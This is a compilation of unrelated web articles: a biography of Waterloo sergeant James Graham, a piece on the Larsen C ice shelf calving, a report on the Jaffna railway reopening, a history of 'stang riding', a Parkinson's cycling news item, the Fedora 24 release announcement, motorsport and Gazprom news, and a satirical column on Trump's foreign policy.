James Graham was born in 1791,[2] in Clones, County Monaghan, Ireland.[3] One of three brothers to serve in the British Army,[4] Graham enlisted in the 2nd Battalion of the Coldstream Guards in 1813,[2] which was then stationed in England. Almost all soldiers at the time signed on for life in exchange for a "bounty" of £23 17s 6d, a large portion of which was absorbed by the cost of outfitting "necessities".[5] Graham was assigned to the battalion's light company,[6] and by 1815 had been made a corporal.[4] It was not unusual for Irishmen to join English or Scottish regiments after the Act of Union between Great Britain and Ireland. Most battalions during the Napoleonic wars had a proportion of Irish soldiers.[7] The Coldstream Guards were a regiment of Foot Guards, a group of elite infantry regiments of the British Army. In background and natural attributes, recruits to the Foot Guards differed little from those recruited into other regiments, but they received superior training and were expected to maintain rigorous discipline.[8] Wellington considered Guards NCOs to be among the best in the army.[8]
The road to Waterloo [ edit ]
The United Kingdom and her Allies had been at war against Napoleon's French Empire since 1803, but by early 1814 Wellington's army had fought its way through the Peninsula to France, and the eastern Allies were threatening France's eastern borders.[9] On 31 March 1814, allied armies entered Paris, and Napoleon abdicated on 6 April.[10] Within a month of Napoleon's abdication, he had been exiled to Elba.[11] It appeared that the war was over, and arrangements for the peace were discussed at the Congress of Vienna. But on 26 February 1815, Napoleon escaped from Elba and returned to France, where he raised an army.[12]
The Allies assembled another army and planned for a summer offensive.[13] The combatant Coldstream companies had been garrisoned in Brussels and Ath, where they were joined by the 2nd Battalion's remaining four companies in early 1815. In preparation for the coming offensive, Graham's battalion joined with the 2nd Battalion of the Scots Guards to form the 1st Division's 2nd Brigade.[14] Basing themselves in Belgium, the Allies formed two armies, with the Duke of Wellington commanding the Anglo-Allies, and Gebhard Leberecht von Blücher commanding the Prussians. Napoleon marched swiftly through France to meet them, and split his army to launch a two-pronged attack. On 16 June 1815, Napoleon himself led men against Blücher at Ligny, while Marshall Ney commanded an attack against Wellington's forward army at the Battle of Quatre Bras.
Wellington had received news of Napoleon's position on the night of 15 June, and issued orders to his army to hold the ground at Quatre Bras.[15] Graham's battalion, along with the rest of the 2nd Brigade, left Enghien, where they were quartered, at 3 a.m. on the morning of the 16th, for a twenty-five mile march to Quatre Bras. They reached Quatre Bras at 4 p.m., by which time the battle had been engaged for two hours. The Coldstream Guards immediately deployed into position to support the 1st Foot Guards, who were engaged with the enemy at Bossu Wood. Once the wood was cleared of French, Lieutenant-Colonel James Macdonnell led the 2nd Brigade's light companies (including Graham's) in a counter-attack against Jérôme Bonaparte's Frenchmen, with other Guards companies in support.[16] The various Guards battalions sustained heavy losses, but by 6.30 p.m. Wellington's position had strengthened.[17] By 9 p.m., Ney had withdrawn his men, and Wellington held the field. The French had lost 4,000 men, the Allies 4,800.[18]
Wellington held Quatre Bras, but the Prussians were not so successful at Ligny, and were forced to retreat. Hearing of Blücher's defeat on the morning of 17 June, Wellington ordered his army to withdraw level with his ally; they took position near the Belgian village of Waterloo. Graham's company, and the Scots Guards' light company, masked the retreat from the right, and did not leave Quatre Bras until mid-afternoon.[19]
The field at Waterloo was 5.5 km wide, with two parallel ridges running west to east, creating a shallow valley 1.4 km across.[20] On the allied right lay the chateau of Hougoumont, a collection of walled farm buildings lying closer to the French line than the Allies' line. Recognising its defensive importance, Wellington ordered Hanoverian and Nassau troops to occupy the farm. In allied hands, it would provide cover for flanking fire against any French assault of the main allied line; in French hands, it would provide a bastion from which they could launch attacks.[21] Since it defended the Nivelles road as well as the Allies' right flank, Wellington ordered that it was to be held at all costs.[22]
Hougoumont [ edit ]
The north gate at Hougoumont in 2006. The walls are somewhat lower now than they were in 1815.
The day's battle began on 18 June 1815 at about 11 a.m. with a French attack on Hougoumont from the south-west, led by Napoleon's brother Jerome. The French gained control of much of the chateau's park, but the Allies retained possession of the farmhouse and courtyard surrounds.[23] Jerome continued his attempts to take the farmhouse throughout the day, making four or five assaults, most of which were repulsed by the defenders, who fired through loopholes, windows, and doorways.[24] One assault at about 12.30 p.m. breached the north gate, which had been left open to allow allied troop and supply movements. Sous-Lieutenant Legro, of the French 1st Light Infantry, broke through the wooden doors with an axe, allowing French soldiers to flood the courtyard.[24] Graham's commanding officer, Lieutenant-Colonel James Macdonnell, led his men through the melee in the courtyard to the gates, in an attempt to shut them against the pressing French.[25] This was done with the help of three officers (Captain Wyndham, Ensign Hervey, and Ensign Gooch),[26] Corporal Graham, and a few other soldiers including Graham's brother Joseph. James Graham was the one to slot the bar in place.[27] Flagstones, carts, and debris were then piled against the gates to hold them secure.[28] The Frenchmen trapped within the courtyard were all killed, apart from a young drummer-boy.[24]
Wellington monitored the action at Hougoumont until about 1 p.m., by which time he was content enough with the position's security to concentrate his own attention on the allied centre.[29] With the chateau secure, the 3,500 British and German troops in the vicinity were able to defend the strongpoint against an estimated 14,500 French soldiers. About 8,000 French soldiers died attacking Hougoumont over the day.[14]
During the battle, Graham also saved the life of Captain Wyndham – one of those who had shut the gate – by shooting a sniper whose musket was trained on the officer.[30] Mid-afternoon, a fire broke out in one of the farm buildings following a bombardment of incendiary shells.[31] Graham's brother Joseph was lying wounded within, and Graham requested permission to fall out, so he might rescue his brother; given permission, he retrieved his brother and returned to his post.[26] Joseph Graham died of wounds five days later.[4]
At 7 p.m. the defenders at Hougoumont were still resisting, despite the burning buildings and their own dwindling ammunition.[32] Within a couple of hours, the action in the rest of the field had resulted in a victory for the Allies: the French were in retreat. Afterwards, Wellington declared that "the success of the battle turned upon closing the gates at Hougoumont." It seems likely that if the gates had not been shut so quickly the men holding the perimeter at Hougoumont would have been killed.[33] It was a costly defence: the Coldstream Guards lost 8 officers, with 300 casualties among the men.[34] James Graham was promoted to sergeant for his bravery at Hougoumont,[4] and received a special medal for gallantry.[14]
"The bravest man at Waterloo" [ edit ]
Wellington's respect for those who served in Hougoumont was well known. After the battle he wrote: "You may depend upon it, no troops could have held Hougoumont but the British, and only the best of them."[35] But among those "best soldiers", Graham stood out as being exceptional. In August 1815, John Norcross, the Rector of Framlingham, sought to make over the income from a freehold farm to the "most deserving soldier at Waterloo"; he approached the Duke of Wellington, who nominated Graham.[36] Graham received an annuity from the farm of £10 a year for two years until the vicar became bankrupt.[2] Wellington's Supplementary Dispatches (Vol. 11) make mention of Graham:
[He] assisted Lieutenant-colonel Macdonnell in closing the gates, which had been left open for the purpose of communication, and which the enemy were in the act of forcing. His brother, a corporal in the regiment, was lying wounded in a barn, which was on fire, and Graham removed him so as to be secure from the fire, and then returned to his duty. He had been 3 2/12 years in the regiment.[2]
This honour is noted in his service record now held at the Public Record Office, with the words: "The most valorous NCO at the battle of Waterloo selected by the Duke of Wellington."[4]
The Reverend Norcross died in 1837.[2] It was reported in a number of books and newspapers in the years following that Norcross had recovered his fortunes enough to leave £500 in his will to "the bravest man in England" and that, once appealed to, Wellington again turned to the events in Hougoumont, selecting Colonel Macdonnell. Macdonnell apparently split the bequest with Graham, since they had shut the gate together.[14][36][37] There remains some doubt concerning this second bequest. Graham's entry in the Dictionary of National Biography records only the initial annuity, and states that "various apparently incorrect versions of the Norcross gift have been published."[2] Archibald Murray (in 1862) made reference to "the alleged sum of £500" given to Colonel Macdonnell and reported investigations made by a fellow researcher who could find no proof of this bequest; Murray concluded that the reports arose from a misrepresentation of the original annuity.[38] In his history of Waterloo, Colonel Siborne provided a full account of Graham's action at Hougoumont and the later annuity, but made no reference to the second bequest, despite reporting Graham's own death at Kilmainham Hospital.[30] Siborne had personally interviewed Graham.[39]
Later career [ edit ]
Graham continued to serve in the Coldstream Guards after Waterloo. The 2nd Battalion advanced on Paris with the army, remaining there until 1816 as part of the army of occupation, after which they were posted to Cambrai. In November 1818 they returned to England.[34] Graham was discharged from the Guards in 1821, and enlisted in the 12th Royal Lancers as a private.[2] When Graham joined the Lancers, they were stationed in Ireland, and returned to England in 1824. In 1826, two squadrons saw service in Portugal before returning to England.[40] Graham was discharged for ill health – "an injured chest and worn out" – in July 1830, and received a Chelsea pension.[2]
James Graham died in 1845, at the Royal Hospital, Kilmainham.[33] He was buried with military honours.[30] A memorial plaque was erected at the Hospital, and it was later transferred to St Tiernach's Church, in Clones.
His obituary appeared in The Gentleman's Magazine under the name "John Graham":
23 April. At the Royal Hospital of Kilmainham, Sergeant John Graham, formerly in the light company of the 2nd battalion of Coldstream Guards, the individual selected by the Duke of Wellington as "the bravest of the brave" in the desperate combat at Waterloo, in order to profit by the generous offer of the Rev. Mr. Norcross, Rector of Framlingham, to confer a pension, during life, upon the soldier most distinguished in the brigade of guards on that glorious day. After the most minute inquiry, carried out by Sir John Byng's directions, the laurel was awarded to an Irishman, John Graham, a native of Cloona [sic], co. Monaghan.[6]
Enduring legacy [ edit ]
James Graham's exploits at Waterloo became much celebrated throughout Great Britain, and many accounts of the battle make reference to his actions, including a biography of Wellington,[41] the memoirs of another sergeant,[42] and Charles Dickens' magazine Household Words.[43] The shutting of the gate was portrayed by artist Robert Gibb in 1903; the painting is currently held by the National Museums of Scotland.[44] A watercolour portrait of Sergeant Graham himself is held at the National Gallery of Ireland.[2]
The actions of Graham and Macdonnell continue to be remembered as an iconic moment in the battle of Waterloo. In 1915, cigarette manufacturers W.D. & H.O. Wills portrayed Graham and Macdonnell on one of the cigarette cards printed to commemorate the centenary of Waterloo.[45] Since then, many authors of fiction concerning Waterloo have recreated the events at the gate, and even if they include their own fictional heroes they attribute the closing of the gate to Macdonnell and Graham.[46]
The efforts of the Coldstream Guards at Waterloo, and Graham's gallantry, remain celebrated by the Regiment. Every December the Sergeants' Mess commemorate Graham's bravery with a ceremonial game "Hanging the Brick".[47] The "Brick" – a stone from Hougoumont – is paraded through the barracks and hung up in the Sergeants' Mess with all the honour due to regimental colours.[48] Also retained by the Regiment are Graham's Waterloo Medal and gallantry medal.[4] In 2004 the Regiment named a new sergeants' accommodation block after him, in Lille Barracks, Aldershot. A plaque on the building is inscribed with the words:
"In Memory of Sergeant James Graham WM, 2nd Battalion Coldstream Guards, "The Bravest Man in England", Following His Actions in Closing The Gates at Hougoumont Farm, Waterloo, 18 June 1815."[49]
Notes [ edit ] |
The countdown – you could think of it as a death watch – had been going on for weeks, months and years in the case of glaciologists and avid climate change and Antarctica experts and geeks.
It was complete with all but an on-screen CNN-type minute-by-minute countdown clock. That would be impossible given the relative imprecision of the “hours, days, or weeks” best estimates of precisely when the closely-watched Larsen C ice shelf would rip free and be cast aside. (Rhode Island got off easy this time, with popular size comparison references in this case pointing not to the “Ocean State” but to the “First State” of Delaware.)
The end itself, inevitable for all but lacking the exact ETD (expected time of departure) was first announced in early morning East Coast time July 12, as officially determined by the Project MIDAS United Kingdom-based research group most closely tracking the Larsen C ice shelf’s calving of “one of the largest icebergs on record.”
Popular network and cable news programs and organizations like the National Geographic Society for the better part of a year have been flying over and watching intently: the large crack formed in the surface of the Larsen C ice shelf; it kept moving toward the north and then somewhat toward the northeast, snail-like at times, occasionally picking up the pace, but always resolutely.
From whether … to when … and now to what next?
Scientists were of course the first to recognize the final calving as a matter of “when” and not of “if.” And with the calving now behind them, they turn to “What’s next?” It’s not a matter of short-term sea-level rise they’re expecting at this point.
As that calving process was under way, Yale Climate Connections regular contributor and independent videographer Peter Sinclair interviewed scientists to gain insights into the process of this historic calving – and what it tells us about climate change.
As background, Larsen C is the largest of several ice shelves on the Antarctic Peninsula to have undergone major changes in the last two-plus decades. Larsen A broke up in 1995. Even larger, the Larsen B spectacularly disintegrated in 2002, an event recorded in a widely publicized series of satellite images. Both A and B are north of Larsen C.
“It’s pretty clear that we’re losing mass. It’s pretty clear that we’re almost certainly accelerating in our mass loss,” says Jeremy Bassis, a glacier expert at the University of Michigan. “Starting in the nineties and early two-thousands, we saw some pretty spectacular changes.”
In the case of Larsen B, Bassis points out, “Here’s an ice sheet that had been sitting there, stable for 10,000 years, and it’s gone.” It all happened over just six weeks.
That may or may not be the pattern for Larsen C, says Bassis. He explains that the situation is “less clear” on whether the Larsen C calving is “the beginning of the end, or just part of its usual cycle.” When Larsen B calved, the iceberg “all of a sudden started to disintegrate completely.” A similar disintegration may or may not occur, and may well occur only more gradually with Larsen C. Scientists will now be closely monitoring and keeping a close watch.
The floating ice tongues like the Larsen shelves buttress and support – in effect, hold-back – large masses of ice further-up on the ice sheet. So the shelves themselves serve as roadblocks to the would-be calving that leads to increased sea-level rise.
“When you lose that buttressing force, you allow the upstream glaciers to flow faster,” says Kelly Brunt, of NASA’s Goddard Space Flight Center.
That faster flow, says Bassis, is what accelerates sea-level rise.
Will Larsen C echo A and B? Maybe … maybe not
Now scientists are watching to find out if Larsen C will proceed in the direction of rapidly disintegrating, as did the A and B shelves.
“We seem to have an evolution in that direction right now with the Larsen C ice shelf,” says Eric Rignot of the NASA Jet Propulsion Laboratory.
But it’s important to note that Larsen C is closer to the South Pole, and colder than the A and B shelves.
That might mean it could take a while, even a decade or more of warmer summers, for Larsen C to fully go the way of A and B, according to Ted Scambos of the National Snow and Ice Data Center in Boulder, Co.
An important mechanism in determining that progression will be water on the surface of the shelf. When ice melts and forms lakes on the surface, that water can force its way deep into the interior of the ice, a process called “hydro-fracking.” When that happens extensively, as it did on Larsen B, “eventually, you have an ice shelf that is essentially a rubble field,” says Bassis.
“Is this just part of the regular cycle of icebergs occasionally breaking off? We’re not really sure for Larsen C. It’s the place where people are looking most closely for one of these next big events.”
Time will tell. So maybe it’s time to re-set the countdown clocks.
Editor’s note: Peter Sinclair and Bud Ward collaborated closely on the text accompanying this video. Sinclair was in Greenland at the time of the actual calving of Larsen C and did not participate directly in the completion of the actual text. |
Media playback is unsupported on your device Media caption The reopening of the railway station is considered a positive symbol of post-war Sri Lanka, as Laura Westbrook reports
A popular Sri Lankan rail service known as the "Queen of Jaffna" has reopened, linking the capital, Colombo, to Jaffna in the country's north.
President Mahinda Rajapaksa inaugurated the newly renovated railway line, which was closed 24 years ago during Sri Lanka's bloody civil war.
The railway had provided a vital link between north and south, transporting goods and people through the country.
Its reopening is seen by many as a positive symbol of post-war Sri Lanka.
Image copyright AFP Image caption The reopening of the railway station is considered a positive symbol of post-war Sri Lanka
Image copyright AFP Image caption Jaffna station was decorated ahead of Monday's ceremony
Image copyright AP Image caption Before its closure in the war, the railway line played an important role linking Sri Lanka's north and south
Image copyright AP Image caption Jaffna station has been rebuilt and renovated
The train will offer Jaffna's young a new experience - many of them have never seen a train before, the BBC's South Asia analyst Jill McGivering reports.
For decades, Tamils had used the service to travel the length of Sri Lanka, going back and forth between home villages in the north and jobs in the south, our correspondent adds.
During the civil war, government troops used the service to access the north - and the trains became a target for attack as they passed through areas controlled by the Tamil Tiger rebels.
The civil war, which lasted from 1983 to 2009, killed more than 70,000 people.
The conflict ended in May 2009, when government forces seized the last territories held by the Tamil Tigers. |
Stang riding, alternatively referred to as stanging, charivari, or riding the skimmington is a centuries-old practice intended to shame male victims of intimate partner violence by parading them through town on a wooden platform while enduring mockery and ridicule by onlookers. Essentially a vigilante justice action, the practice ceased by the earlier part of last century, or rather has been supplanted by more subtle forms of shaming male victims; ie. telling them to “man up” or by insinuating that a man must have done something wrong to “cause” his female partner to act violently.
From old newspaper reports in England we get stated evidence of the desire to shame those who rode the stang:
Stang riding – It has been asserted by an old writer that “Shame produceth reformation, where punishment faileth.” 1 “Riding the stang” was one of the few old customs still remaining by which the people of a particular place took the law into their own hands as an assumed right. It was formerly the tendency of the law that for minor offenses the culprits should be punished by some process that appealed to their sense of shame, such as that of the stocks or ducking stool, the pillory and so forth, and “riding the stang” was a popular way of acting on the same principle. 2
Stang riding was employed for married men and women transgressing social norms, including the norm that a man should defend himself when his wife perpetrated physical violence against him – i.e. If the man failed to defend himself he was forced to ride the stang, as described in the following English newspaper articles from the 1800s:
Stang Riding, or Riding the Skimmington, a mode of punishing certain delinquencies, or of ridiculing a man who allows his wife to beat him, [is] still followed in some parts of the country. It consists of making him ride a wooden horse in procession, with the accompaniment of much noise.3
__________________________
Stanging, or riding the stang, was a name by which a mode of punishment, at one time very popular, especially in the north of England, was known. It was resorted to in cases where, through the frailty or fault of either party, conjugal felicity had been violated. Sometimes the punishment was occasioned by a rustic swain having allowed his termagant wife to beat him; and this form of the custom has given rise to the slang word “stangey,” ie. a person under petticoat government.4
__________________________
In several parts of this country there was an old custom… believed to be of Saxon origin, prevailing, which was called Riding Stang. It occurred when a woman was known to have beaten her husband, and the mode of procedure was as follows:- the neighbours being assembled together, two men get into a cart and are drawn about by other men, when they beat an old tin can with a stick, a number of nonsensical lines are repeated, and the assembled multitude shout; and all this must be done in four neighbouring townships before the Stang Riding can be completed. Two men of the names Bent and Muddyman sometime ago came to reside at Hyde from a Stang Riding district, where they had not long been, before Bent got married, and Muddyman promised that when he [ie. Bent] allowed his wife to thrash him, he would give him the benefit of a Stang Ride. It was not long before Muddyman’s anticipations that Bent’s wife would thrash him were realized, and not forgetting his promise, a muster was made, and the ceremony was commenced on the evening of the 27th of July, when the plaintiff and Muddyman got into a cart, with a stick and a saucepan, with which they contrived to make some music, and the plaintiff repeated the following lines:- Ran, dan, dan,
This you mun know by the sound of our can,
One of our neighbours has beat her good man;
Not for eating or drinking or feeding on souse,
But for spending two-pence in a neighbour’s house;
If he’ll be a good fellow and do so no more,
We won’t never sound our can at no neighbour’s door.
Muddyman, who was in the cart, and held one of the musical instruments, then made the following beautiful response:- Tink of a kettle—tank of a pan,
This brassy-faced woman has beaten her man,
Neither with sword, dagger or knife,
But with an old shuttle she’d like to have taken his life. …The can was then again tinkled, and the shout having been set up, the cart was drawn to the townships of Godley and Haughton, the crowd accompanying it, where the same ceremony was performed, and the cavalcade returned in perfectly good order, through Hyde, toward another township, it being necessary that they should visit four.5
__________________________
The stang is of Saxon origin, and is practiced in Lancashire, Cumberland, and Westmoreland, for the purpose of exposing a kind of gynocracy, or, the wife wearing the gallskins. When it is known (which it generally is) that the wife falls out with her spouse, and beats him right well, the people of the town or village produce a ladder, and instantly repair to his house, where one of the partly is powdered with flour–face blackened–cocked hat placed upon his cranium–white sheet thrown over his shoulders–is seated astride the ladder–with his back where his face should be–they hoist him upon men’s shoulders–and in his hands he carries and long brush, tongs, and poker. A sort of mock proclamation is then made in doggerel verse at the door of all the ale-houses in the parish, or wapentake, as follows: It is neither for your sake nor my sake
That I ride the stang;
But it is for Nancy Thomson,
Who did her husband hang.
But if I hear tell that she doth rebel,
Or him complain, with fife and drum
Then we will come,
And ride the stang again.
With a ran tan tang,
And a ran tan tan tang,” &c.6
Notice the man in the latter example is forced to carry a “long brush, tongs, and poker,” household objects usually attended by women, perhaps as an attempt to feminize and portray him as unmanly. One is reminded here of the centuries old Henpecked Club which held annual street processions of battered men carrying women’s household utensils, which symbolized their humility and humiliation.
Stanging as a method of shaming abused men took many forms, differing from town to town and from incident to incident. However one thing these rituals had in common was the attempt to shame male victims of domestic violence. While this history is readily available in newspaper and other archives, today’s historians of sociology have avoided any publishing or commentary on the material, hence this article to raise awareness of what we might aptly refer to as his-tory.
Sources:
[1] Chester Chronicle – Friday 28 May, 1813
[2] Cork Examiner – Monday 28 August, 1865
[3] Salisbury and Winchester Journal – Saturday 27 September, 1856
[4] Kent and Sussex Courier – Friday 13 August, 1880
[5] Chester Chronicle – Friday 27 April, 1827
[6] Lancashire Mirror – 18 January, 1829
See also:
–Riding the Donkey Backwards: Men as the Unacceptable Victims of Marital Violence
–Fire-poker princesses: a snapshot of female violence in nineteenth-century England
–The Henpecked Club – a 200 year fellowship of abused husbands
–A random selection of nineteenth century newspaper articles referencing stanging |
But the man was eager to demonstrate, so Dr. Bloem took him outside where a nurse’s bike was parked.
“We helped him mount the bike, gave him a little push, and he was gone,” Dr. Bloem said. He rode, even making a U-turn, and was in perfect control, all his Parkinson’s symptoms gone.
Yet the moment the man got off the bike, his symptoms returned. He froze immediately, unable to take a step.
Dr. Bloem made a video and photos of the man trying to walk and then riding his bike. The photos appear in the April 1 issue of The New England Journal of Medicine.
After seeing that man, Dr. Bloem asked 20 other severely affected patients about riding a bike. It turned out that all could do it, though it is not clear why.
Photo
Dr. Bloem and other Parkinson’s specialists were amazed. People with Parkinson’s disease can often dance, run, walk smoothly and do complex movements for a few minutes if they are given appropriate signals — emotional or visual cues. There are famous examples, such as a group of Parkinson’s patients who were caught in a fire and managed to run down steps and escape, only to freeze in place when they got outside.
But this effect, known as the kinesia paradox, does not last long. Riding for miles and miles is very different from walking for a few minutes. And until now, Dr. Bloem said, it was not known that patients with Parkinson’s could ride bikes.
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“The observation is so novel and exciting that I keep amazing audiences when I show this video during my lectures, even when the audience consists of movement disorder experts,” Dr. Bloem said.
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Of course, he added, he is not advocating that Parkinson’s patients hop on bikes and go out on busy roads. They need help in mounting a bike and can get into trouble if they have to stop at traffic lights. They need to ride in safe areas. He recommends that patients ride tricycles, or use stationary bikes or trainers — devices that turn road bikes into stationary ones.
Still, he said, bicycling offers patients an opportunity to be symptom-free while they are riding, to look and feel normal, and to get some real cardiovascular exercise even when their disease is so far advanced that they cannot walk.
Parkinson’s experts were intrigued.
“This is an impressive thing,” said Dr. C. Warren Olanow of the Mount Sinai School of Medicine. “He has described a terrifically interesting case, and there are things to learn from it.”
Dr. Bloem said one explanation for the finding might be that bicycling uses a different part of the brain than walking and might not be so severely affected by Parkinson’s disease. Or it might be that the rhythmic pressure of the pedals on patients’ feet cues the nervous system to allow a cycling movement.
Bicycling does not cure patients, of course. And, added Dr. Lisa M. Shulman, a neurology professor at the University of Maryland School of Medicine, whether most patients with severe Parkinson’s disease will be able to ride a bike “is an empirical question that would need to be tested.” And, she said, those who cannot do one sort of exercise may be able to do another.
But Dr. Bloem said he hoped that perhaps regular exercise might slow the progress of Parkinson’s disease. It does in rats, he said, and he is running a clinical trial in 600 patients to see if exercise also slows the disease in humans.
In the meantime, Dr. Bloem said he knew there was a long way to go from observation to scientific fact. But, he said, that does not mean an observation is useless.
“I’m a strong believer that single cases can provide crucial evidence,” Dr. Bloem said. “Even though this is a single patient, it is very, very provocative.” |
Today the Fedora Project is pleased to announce the general release of Fedora 24. Download it now from our Get Fedora site:
Another Step in the Fedora Journey
The Fedora Project has embarked on a great journey… redefining what an operating system should be for users and developers. Such innovation does not come overnight, and Fedora 24 is one big step on the road to the next generation of Linux distributions. But that does not mean that Fedora 24 is some “interim” release; there are great new features for Fedora users to deploy in their production environments right now!
Workstation
The Fedora 24 Workstation release features GNOME 3.20, with many usability improvements such as easier input device and printer settings, a better search interface, shortcut windows for keyboard commands, and more convenient music controls.
Flatpak (formerly xdg-app) is another building-block feature, with Software able to track installed Flatpaks and adding more features in the future as the technology develops. The Software app has also grown features to provide a full system upgrade directly from the desktop from one Fedora release to the next, and the ability to provide labeling as well as reviews of available software.
Fedora 24 continues our work on the X replacement, Wayland, a next-generation graphics stack. Although this release will not default to Wayland, it includes many improvements and is available as an option for users to try out, and potentially will be the default stack in Fedora 25.
Server
Fedora 24 Server edition is more streamlined and introduces more modularity, which will become a major factor in future Fedora releases, even as unnecessary packages were removed and the installer has a smaller footprint.
FreeIPA 4.3 is a major feature for Fedora 24 Server. FreeIPA is an integrated security information management solution. This new version of FreeIPA features simplified replica installation and improved replication technology management.
Cloud
Fedora is on its way to being the best platform for containerized applications, from base Fedora container images to a full-featured platform as a service to run and manage them.
As we continue on this part of the journey, we are packaging OpenShift Origin so it is easy to deploy. OpenShift Origin is a Platform as a Service system based around Kubernetes, a production-grade container orchestration project. OpenShift Origin is optimized for application development and deployment. Origin makes it easy for developers to get started building applications in containers and for operators to manage them.
While not shipped in Fedora 24, per se, we have new infrastructure for developing container images with applications layered on top of the base Fedora Docker image. Fedora Developers will also see a layered image build service, which provides tools for Fedora contributors to start creating and shipping layered container images in Fedora 25 and beyond.
Spins and Labs
Fedora Spins and Labs are alternative Fedora versions that offer additional desktop environments, or other custom collections of software, alongside the three editions that are the primary focus for the project.
Our Spins make it easy for people to use other desktop environments. Everyone has different needs and Spins are a great way for us to meet them. The Fedora 24 spins release showcases KDE Plasma, Xfce, LXDE, Mate-Compiz, and Cinnamon, all on the same Fedora base. Fedora Labs offer collections of software for specific purposes: Games, Robotics, and so on. They are pre-selected sets of software ideal for events or audiences with specialized interests that need corresponding software. Fedora 24 comes with a new lab focused on Astronomy, which contains a set of tools for astronomers and astrophysicists.
ARM
ARM images are available, as usual, for several use cases. Fedora 24 ships desktop images, such as Spins and Workstation, but also provides a Server image. A minimal Fedora image completes the wide set of install options for your ARM board.
Alternate Fedora Architectures
For the first time, all of our secondary architectures, AArch64, Power64 (ppc64, ppc64le) and s390x, are released simultaneously, rather than trailing a little behind. This includes the Server edition for all architectures and the Cloud and Docker base images for AArch64 and Power64. Along with all the same enhancements as in the primary architectures in Fedora 24, AArch64 and Power64 now have support for golang, nodejs, mongodb; along with numerous other architecture-specific enhancements. The architecture release notes pages on the wiki have more specifics for each. Download these from https://dl.fedoraproject.org/pub/fedora-secondary/releases/24/.
Atomic Host
Fedora Atomic Host releases on a two-week schedule, and each release is built on the latest released Fedora version. This schedule means the Atomic Host will now be currently built on Fedora 24.
You can try one of the newer features with recent Fedora Atomic Host builds today. Since Fedora 23 was released, Atomic Host has added a developer mode that gives a better developer experience overall. When running in developer mode, the host will download and start Cockpit and a tmux session to make it easier to work at the console and obtain necessary information such as the root password or IP address.
Make Fedora Even Better
If you want to take an active hand in making Fedora even better, there are many ways you can contribute. There are many roles that you can participate. Visit http://whatcanidoforfedora.org/ for more information!
While this is a general release, there is always a chance you may encounter bugs or missing features. To report issues encountered during testing, contact the Fedora QA team via the mailing list or in #fedora-qa on Freenode IRC. As testing progresses, common issues are tracked on the Common F24 Bugs page.
For tips on reporting a bug effectively, read “how to file a bug report.”
Flock 2016: Krakow, Poland
If you want to be a part of the journey that Fedora is taking, either as a current or interested Fedora contributor, one way to engage with our community is through Fedora premier events. The annual North American/European conference for Fedora contributors is Flock, which takes place August 2-5, 2016 in Krakow, Poland. Registration is now open at https://register.flocktofedora.org. For more information about our Latin American and Asia-Pacific Conferences, stay tuned for announcements on the Fedora Community Blog: https://communityblog.fedoraproject.org. |
Indonesian Sean Gelael (below) will be joined by Italian Antonio Giovinazzi for the final two rounds of the Asian Le Mans Series to be held in January at Buriram in Thailand and the Sepang F1 Circuit in Malaysia.
The pair will race the Oreca 03 Nissan LMP2 which Eurasia ran in European Le Mans this year. This is not the first time they have driven for Eurasia, Giovinazzi having won the Formula Pilota Championship in 2012 with the team whilst Gelael was a race winner during the same season. The car will run under the “Jagony Ayam with Eurasia” banner.
The Eurasia team has grown to two LMP2 cars for Asian Le Mans with the #9 Jagony Ayam car joining the #99 Oreca 03R Nissan driven by Richard Bradley and William Lok. A 20 plus car field is expected for the January races, the Asian Le Mans Series becoming stronger by the event.
Eurasia Motorsport Team Principal: “Both Sean and Antonio started their racing careers with us and its great that just three years on we are back together in LMP2. They make a very strong driver line up and we believe we have a very good chance of winning. The car looks stunning in the Jagony Ayam yellow and red colours and normally good looking cars are fast!”.
Eurasia will also return to the ELMS in 2016 with a new Oreca 05 Nissan Coupe. |
The president-elect is about to step onto a world stage more complex and fraught with danger than most living souls can remember. But he’s Donald Trump! No job is too big for the reality TV star turned leader of the free world, no region too screwed. And he has already hinted at how quickly he will fix some of the trickiest files in his foreign in-tray. Tremendous!
North Korea
Trump started his delicate handling of Pyongyang’s growing nuclear threat last February, when he said he would “get China to make [Kim Jong-un] disappear”. “I mean, this guy’s a bad dude, and don’t underestimate him,” he added. But, apart from one oblique reference to North Korea after his big meeting with Barack Obama, The Donald has been uncharacteristically quiet on the matter since his election. His early diplomatic faux pas – speaking by telephone to the president of Taiwan, which China considers to be a breakaway province of the mainland – may have complicated his relationship with Beijing considerably. Perhaps he will now make good on his pre-election suggestion to thrash things out with Kim Jong-un, over an all-American burger.
Facebook Twitter Pinterest “Yes, I would like to supersize that …” Trump wants to take Kim Jong-un for a burger Photograph: KCNA/AFP/Getty Images
Israel and Palestine
Many presidents have attempted to deliver peace to Israel and Palestine. No one has managed it yet, but can anyone else claim to have the negotiating skills of Donald Trump? “I would love to be able to be the one that made peace with Israel and the Palestinians,” he has said. “I would love that; that would be such a great achievement.” Trump’s secret weapon? Son-in-law, Jared Kushner, whose father has business interests in Israel. “He knows the region, knows the people, knows the players,” Trump has said. But those players, when questioned by reporters from the New York Times, did not seem quite so familiar with him. “I don’t personally know Jared Kushner and have never met him,” said one Palestinian leader.
Isis
Isis-schmisis. The brutal terror network is no match for Trump, who has long spoken of a plan to crush it. He ramped up his commitment in a contradictory thank-you speech last week. No more expensive intervention, he told a crowd, no more “fighting in areas that we shouldn’t be fighting”. America first! But also Isis. “Our focus must be on fighting terrorism and destroying Isis,” he said. He did not explore how this would be done while reducing US intervention, but these details can be ironed out over Christmas.
Facebook Twitter Pinterest What a guy … prime minister of Pakistan Nawaz Sharif. Photograph: Aamir Qureshi/AFP/Getty Images
Kashmir
Trump caused diplomatic eyebrows to raise around the world when he heaped praise on Pakistan’s prime minister, Nawaz Sharif, during an official telephone call. According to details leaked by the Pakistani government, Trump referred to Sharif as a “terrific guy”. Days later, the incoming vice-president, Mike Pence, reassured Pakistan’s old rival India that Trump would be “fully engaged with both nations”, but also suggested the president-elect’s purported boardroom experience could help him make short work of their decades-long dispute over Kashmir. “I think you’re also going to see an energetic leadership in the world, prepared to engage and to look for ways that he can bring those extraordinary deal-making skills to bear on lessening tensions and solving problems in the world,” Pence said of his boss. |
WARSAW, Nov 3 (Reuters) - Poland’s top gas distributor PGNiG has agreed with its main supplier, Russia’s Gazprom , a discount in gas prices for the lower supplies the Polish state-controlled company was receiving in September, a PGNiG official said on Monday.
Two months ago, PGNiG started to report deliveries from Gazprom, its largest supplier from the east, at levels as much as 45 percent lower than its daily orders.
This led some energy traders to conclude Poland had been trying to discredit Gazprom’s reliability as a supplier ahead of renegotiation of a long-term gas contract this month. PGNiG is still to launch the renegotation.
